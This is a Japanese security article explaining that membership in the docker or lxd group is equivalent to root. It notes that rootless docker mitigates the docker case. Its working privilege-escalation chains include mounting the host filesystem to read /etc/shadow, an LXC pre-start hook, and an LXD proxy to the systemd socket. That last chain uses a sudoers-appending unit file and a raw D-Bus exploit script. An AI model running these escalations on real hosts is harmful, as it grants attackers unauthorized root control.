コンテナ実行権限を持つグループへのユーザー追加
docker
グループや lxd
グループへのユーザー追加を行うことは、そのユーザーに root 権限を追加することと同義です。
例えば docker の場合は次のようにホストのルートディレクトリをマウントすることで、ホスト側で任意の操作を行うことが可能になります。
ubuntu@sandbox:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
ubuntu@sandbox:~$ docker run --rm -it -v /:/hostfs ubuntu:latest bash
root@f6a72ca2aaf6:/# cat /hostfs/etc/shadow
root:*:18444:0:99999:7:::
...
ただし、rootless docker のようにコンテナを root 以外で動かしている場合は、一般ユーザー権限でコンテナを作成するため、この攻撃を緩和することができます。
ubuntu@rootless-docker:~$ docker run --rm -it -v /:/hostfs ubuntu:latest bash
root@0e55694c273c:/# cat /hostfs/etc/shadow
cat: /hostfs/etc/shadow: Permission denied
lxd グループへの追加
LXD の場合、ユーザーを lxd
グループに追加することでコンテナの操作が可能になりますが、これも docker 同様に root 権限を与えることと同義です。
hook を使った権限昇格
LXC には hook 機能があり、これを利用して root として任意のコマンドを実行できます。
$ lxc launch images:ubuntu/trusty/amd64 runme -c raw.lxc="lxc.hook.pre-start=sh -c 'echo foo >/runme'"
Creating runme
Starting runme
user@host:~$ ls -l /runme
-rw-r--r-- 1 root root 5 May 7 10:29 /runme
LXD proxy を利用した権限昇格
LXD の proxy 経由で unix socket にアクセスすると、その資格情報は root になってしまいます。
これを利用して systemd の socket に接続して任意の service を操作することができます。
例えば次のような unix socket でやり取りを行うプログラムを起動します。
$ cat echo.py
import socket
import struct
def main():
"""Echo UNIX peercreds"""
listen_sock = '/tmp/echo.sock'
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.bind(listen_sock)
sock.listen()
while True:
print('waiting for a connection')
connection = sock.accept()[0]
peercred = connection.getsockopt(socket.SOL_SOCKET, socket.SO_PEERCRED,
struct.calcsize("3i"))
pid, uid, gid = struct.unpack("3i", peercred)
print("PID: {}, UID: {}, GID: {}".format(pid, uid, gid))
continue
if __name__ == '__main__':
main()
$ python3 echo.py
waiting for a connection
# nc -U /tmp/echo.sock でつなぐと、その UID, GID が表示される
PID: 15373, UID: 1001, GID: 1001
LXD proxy を用意して root で接続されるかを確認します。次のコマンドでコンテナ内の /tmp/proxy.sock
からホストの /tmp/echo.sock
に接続できます。
$ lxc config device add test proxy_sock proxy connect=unix:/tmp/echo.sock listen=unix:/tmp/proxy.sock bind=container mode=0777
Device proxy_sock added to test
同様に接続すると root になっていることがわかります。
$ lxc exec test -- sudo --user ubuntu --login
ubuntu@test:~$ nc -U /tmp/proxy.sock
$ python3 test.py
...
PID: 14988, UID: 0, GID: 0
これも lxd が root で動いていることが理由です。
$ ps aux | grep 14988
root 14988 0.0 0.7 1230076 30576 ? Ssl 03:54 0:00 /snap/lxd/current/bin/lxd forkproxy -- 14522 -1 unix:/tmp/proxy.sock 13977 -1 unix:/var/lib/snapd/hostfs/tmp/echo.sock /var/snap/lxd/common/lxd/logs/test/proxy.proxy_sock.log /var/snap/lxd/common/lxd/devices/test/proxy.proxy_sock 0777
これを利用して systemd の socket と通信することで任意コード実行につなげることができます。
systemd が利用する /run/systemd/private
をコンテナ内の /tmp/container_sock
に bind し、さらにそれをホスト側に bind することで、コンテナに入らずとも接続できるようにします。
lowpriv@vagrant:~$ lxc config device add test container_sock proxy connect=unix:/run/systemd/private listen=unix:/tmp/container_sock bind=container mode=0777
Device container_sock added to test
lowpriv@vagrant:~$ lxc config device add test host_sock proxy connect=unix:/tmp/container_sock listen=unix:/tmp/host_sock bind=host mode=0777
Device host_sock added to test
自身を sudoers に追加する systemd unit ファイルを作成し、systemd socket を通して実行することで root に権限昇格することができます。
$ cat /tmp/evil.service
[Unit]
Description=evil
[Service]
Type=oneshot
ExecStart=/bin/sh -c "echo user ALL=\(ALL\) NOPASSWD: ALL >> /etc/sudoers"
[Install]
WantedBy=multi-user.target
$ cat exploit.py
import socket
import sys
import time
AUTH = u'\0AUTH EXTERNAL 30\r\nNEGOTIATE_UNIX_FD\r\nBEGIN\r\n'
LINK = u'l\1\4\1$\0\0\0\1\0\0\0\242\0\0\0\1\1o\0\31\0\0\0/org/freedesktop/systemd1\0\0\0\0\0\0\0\3\1s\0\r\0\0\0LinkUnitFiles\0\0\0\2\1s\0 \0\0\0org.freedesktop.systemd1.Manager\0\0\0\0\0\0\0\0\6\1s\0\30\0\0\0org.freedesktop.systemd1\0\0\0\0\0\0\0\0\10\1g\0\4asbb\0\0\0\0\0\0\0\26\0\0\0\21\0\0\0/tmp/evil.service\0\0\0\0\0\0\0\0\0\0\0'
RELOAD = u'l\1\4\1\0\0\0\0\2\0\0\0\211\0\0\0\1\1o\0\31\0\0\0/org/freedesktop/systemd1\0\0\0\0\0\0\0\3\1s\0\6\0\0\0Reload\0\0\2\1s\0 \0\0\0org.freedesktop.systemd1.Manager\0\0\0\0\0\0\0\0\6\1s\0\30\0\0\0org.freedesktop.systemd1\0\0\0\0\0\0\0\0'
START = u'l\1\4\1 \0\0\0\1\0\0\0\240\0\0\0\1\1o\0\31\0\0\0/org/freedesktop/systemd1\0\0\0\0\0\0\0\3\1s\0\t\0\0\0StartUnit\0\0\0\0\0\0\0\2\1s\0 \0\0\0org.freedesktop.systemd1.Manager\0\0\0\0\0\0\0\0\6\1s\0\30\0\0\0org.freedesktop.systemd1\0\0\0\0\0\0\0\0\10\1g\0\2ss\0\f\0\0\0evil.service\0\0\0\0\7\0\0\0replace\0'
def send_msg(sock_name, msg):
client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
client_sock.connect(sock_name)
try:
client_sock.sendall(AUTH.encode('latin-1'))
reply = client_sock.recv(8192).decode("latin-1")
print(reply)
client_sock.sendall(msg.encode('latin-1'))
reply = client_sock.recv(8192).decode("latin-1")
print(reply)
except:
print("Connection reset...")
def main():
for msg in [LINK, RELOAD, START]:
send_msg(sys.argv[1], msg)
time.sleep(1)
if __name__ == '__main__':
main()
$ python3 exploit.py
OK c00157aa91bf4b70a9fcbe8e556ca3c1
AGREE_UNIX_FD
lo/org/freedesktop/systemd1s org.freedesktop.systemd1.ManagersUnitFilesChangedsorg.freedesktop.systemd1lR<usorg.freedesktop.systemdga(sss)Jsymlink /etc/systemd/system/evil.service/tmp/evil.service
OK 95eb8e05ae1647c7ba5aae363557ff5d
AGREE_UNIX_FD
lo/org/freedesktop/systemd1s org.freedesktop.systemd1.Managers Reloadingsorg.freedesktop.systemdgb
OK 92f3058be4c74bf5a7f05a16182f393a
AGREE_UNIX_FD
lY¶o-/org/freedesktop/systemd1/unit/evil_2eservicesorg.freedesktop.DBus.PropertiessPropertiesChangedsorg.freedesktop.systemdsa{sv}as org.freedesktop.systemd1.Service¼MainPIDu
ControlPIDu
StatusTexts
StatusErrnoiResults exit-codeUIDuÿÿÿÿGIDuÿÿÿÿ NRestartsuExecMainStartTimestamptØ
©ExecMainStartTimestampMonotonictÔOÔ
©ExecMainExitTimestampMonotonictîÔ
ExecMainPIDu^?
ExecMainCodeiExecMainStatusii
ExecStartPost ExecStartPre ExecStart
ExecReloaExecStop
ExecStopPost
$ sudo su
root@host:~/# id
uid=0(root) gid=0(root) groups=0(root)